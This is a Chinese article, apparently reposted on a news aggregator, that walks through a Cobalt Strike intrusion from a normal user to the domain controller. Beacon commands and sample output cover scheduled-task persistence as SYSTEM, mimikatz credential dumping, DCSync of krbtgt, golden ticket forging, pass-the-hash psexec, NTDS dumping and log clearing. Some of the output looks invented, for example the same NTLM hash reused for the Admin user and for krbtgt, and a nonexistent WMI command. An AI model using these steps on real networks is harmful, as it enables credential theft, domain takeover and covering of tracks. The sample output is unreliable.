当前位置: 首页 > news >正文

CS上线后权限维持与横向移动实战:从User到System的完整攻击链复盘

CS权限提升与横向移动实战:从普通用户到域控的完整攻击链

在真实的内部网络渗透测试中,获得初始立足点往往只是开始。如何从普通用户权限逐步提升至系统权限,并最终控制整个域环境,才是考验渗透测试人员技术深度的关键环节。本文将基于Cobalt Strike工具链,还原一个完整的攻击路径,涵盖权限维持、凭证窃取、横向移动等核心环节。

1. 初始权限获取与维持

当目标主机通过钓鱼邮件或漏洞利用执行我们的Beacon payload后,通常会以普通用户权限上线。此时的首要任务是建立持久化访问并尝试权限提升。

1.1 持久化技术选择

在Windows系统中,常见的持久化方法包括:

  • 计划任务:通过schtasks创建定期执行的计划任务
  • 服务创建:安装自启动服务
  • 注册表启动项:修改HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • WMI事件订阅:利用WMI的永久事件消费者
# 通过计划任务实现持久化示例 schtasks /create /tn "UpdateChecker" /tr "C:\temp\payload.exe" /sc minute /mo 30 /ru SYSTEM

提示:在实战中建议结合目标环境选择隐蔽性高的方法,避免触发安全告警。

1.2 权限提升路径分析

从User到System的常见提权路径:

提权方法适用条件成功率隐蔽性
UAC绕过管理员账户中高
服务漏洞服务配置不当
Token窃取存在高权限进程
DLL劫持路径控制权

在CS中,可以通过elevate命令尝试多种提权模块:

beacon> elevate svc-exe [*] Tasked beacon to spawn a session as SYSTEM via service [+] host called home, session elevated via service

2. 凭证收集与利用

获得高权限后,下一步是收集域内凭证信息,为横向移动做准备。

2.1 本地凭证提取技术

  • Mimikatz:提取明文密码、Kerberos票据
  • LSASS内存转储:通过sekurlsa::logonpasswords获取
  • SAM数据库提取:通过reg save获取hash
beacon> mimikatz sekurlsa::logonpasswords [*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command [+] host called home, sent: 327680 bytes [+] received output: Authentication Id : 0 ; 308124 (00000000:0004b31c) Session : Interactive from 1 User Name : Admin Domain : CORP Logon Server : DC01 Logon Time : 2023/5/15 10:23:45 SID : S-1-5-21-1388762127-329068152-682003330-1103 msv : [00000003] Primary * Username : Admin * Domain : CORP * NTLM : 329153f560eb329c0e1deea55e88a1e9 * SHA1 : 18821b89d2a0f5a2c8b3d5e5e6e7f8a9

2.2 黄金票据攻击

当获取到krbtgt账户的NTLM hash后,可以伪造黄金票据:

  1. 获取域SID:whoami /all
  2. 获取krbtgt hash:lsadump::dcsync /user:krbtgt
  3. 生成黄金票据:
beacon> mimikatz kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21-1388762127-329068152-682003330 /krbtgt:329153f560eb329c0e1deea55e88a1e9 /ptt

3. 内网横向移动策略

3.1 网络拓扑探测

使用CS的portscannetview模块快速绘制内网地图:

beacon> net view /domain [*] Tasked beacon to run net view /domain [+] host called home, sent: 104 bytes [+] received output: Domain -------- CORP TEST beacon> portscan 10.0.0.0/24 445,3389,5985 5 smb [*] Tasked beacon to scan 256 hosts on ports 445,3389,5985 [+] host called home, sent: 1048576 bytes

3.2 横向移动技术对比

技术所需凭证网络要求日志记录检测难度
WMI管理员135/445详细
PSRemoting管理员5985/5986详细
SMBExecHash445有限
计划任务管理员445详细

3.3 基于SMB的横向移动

利用获取的hash通过psexec方式横向移动:

beacon> psexec DC01 smb Administrator 329153f560eb329c0e1deea55e88a1e9 [*] Tasked beacon to run psexec on DC01 via smb [+] host called home, sent: 2048 bytes [+] established link to child beacon: 10.0.0.10

4. 域控接管与痕迹清理

4.1 域控持久化技术

  • DCShadow攻击:修改域控属性
  • SID History注入:添加域管理员SID
  • 组策略修改:部署后门
beacon> dcsync_ntds /server:DC01 /csv:hashes.csv [*] Tasked beacon to dump NTDS.dit from DC01 [+] host called home, sent: 1048576 bytes [+] received 5242880 bytes of NTDS data

4.2 操作痕迹清理

  • 清除事件日志:clearev
  • 删除计划任务:schtasks /delete
  • 恢复服务配置:sc config
  • 清除WMI持久化:
beacon> wmi event remove "UpdateChecker" [*] Tasked beacon to remove WMI event subscription UpdateChecker [+] host called home, sent: 1024 bytes

在实际渗透测试中,每个步骤都需要根据目标环境的安全防护水平进行调整。高安全性的网络可能需要组合多种技术,并采用更隐蔽的时间间隔进行操作。

http://www.jsqmd.com/news/927905/

相关文章:

  • BitCPM-CANN技术深度解析:首个基于华为昇腾NPU的端到端三值训练系统
  • AI时代下的Go语言编译过程学习
  • 别再死磕OpenAI CLIP了!EVA-CLIP保姆级复现教程(含LAMB优化器与Flash Attention配置)
  • paraphrase-multilingual-MiniLM-L12-v2 vs 传统BERT:为什么它是多语言NLP的最佳选择
  • 不止于矩阵计算:用GSL库搞定C++中的Gamma分布、t分布与随机数生成
  • 无人机航拍违禁植物识别数据集|低空禁毒巡检|安防监管视觉训练集 智慧安防无人机数据集|野外违禁品监测|AI目标识别深度学习样本库 低空安全巡检数据集|野外违禁植株识别|安防视觉模型训练数据
  • 如何快速掌握NVIDIA Profile Inspector:终极显卡性能调校指南
  • SSNet自监督学习在6G流体天线信道外推中的突破
  • ChatGPT Plus订阅取消决策:AI工具链优化与成本效益分析
  • 如何永久保存微信聊天记录:3步实现数据自主管理终极指南
  • 金融情感分析终极指南:使用Distilbert模型快速分析财报新闻的完整教程
  • T3Q_SOLAR_SLERP_v1.0-openmind完全指南:如何快速上手这款强大的文本生成模型
  • Nacos 2.x 本地联调踩坑记:解决 gRPC 端口偏移导致的 ‘UNAVAILABLE: io exception‘
  • 实战复盘:用Frida Hook搞定Android App签名校验,我踩过的那些坑都在这了
  • 从STM32 HAL库转战英飞凌TC264:手把手教你搞定PIT定时器中断与正交编码器(逐飞库实战)
  • 第16章:大型任务拆解与多文件修改
  • 10个惊艳案例展示:xinsir-controlnet-openpose-sdxl-1.0如何掌控人物姿态生成
  • 从伯德图到阶跃响应:手把手教你用Matlab分析控制系统稳定性与快速性(以PID校正为例)
  • 从模型导入到坐标分析:SuperMap iDesktopX处理超图CBD北京示例数据的避坑指南
  • Boss Show Time:3个技巧帮你快速筛选最新招聘岗位
  • 终极指南:Alienware灯光与风扇控制工具完全配置手册
  • 用Unity UGUI VerticalLayoutGroup 和递归算法,5步搞定可无限扩展的树形菜单
  • 如何对系统进行监控?
  • 深度解析h2o-danube-1.8b-base:H2O.ai革命性18亿参数基础模型全面指南
  • 5个高级技巧:用Zotero Style插件打造个性化文献管理体验
  • 如何用MOOTDX高效获取通达信数据:量化投资入门实战指南
  • 开发者必看:gte-base-zh-openmind模型配置详解与参数调优技巧
  • TeleChat-52B-pt中文能力深度评测:在CMMLU和AGIEval上的领先表现
  • 你的VMware 17开机自启总失败?可能是这个XML文件在“捣鬼”,3分钟教你排查修复
  • 微积分(六)——导数:为什么本质是“变化率”?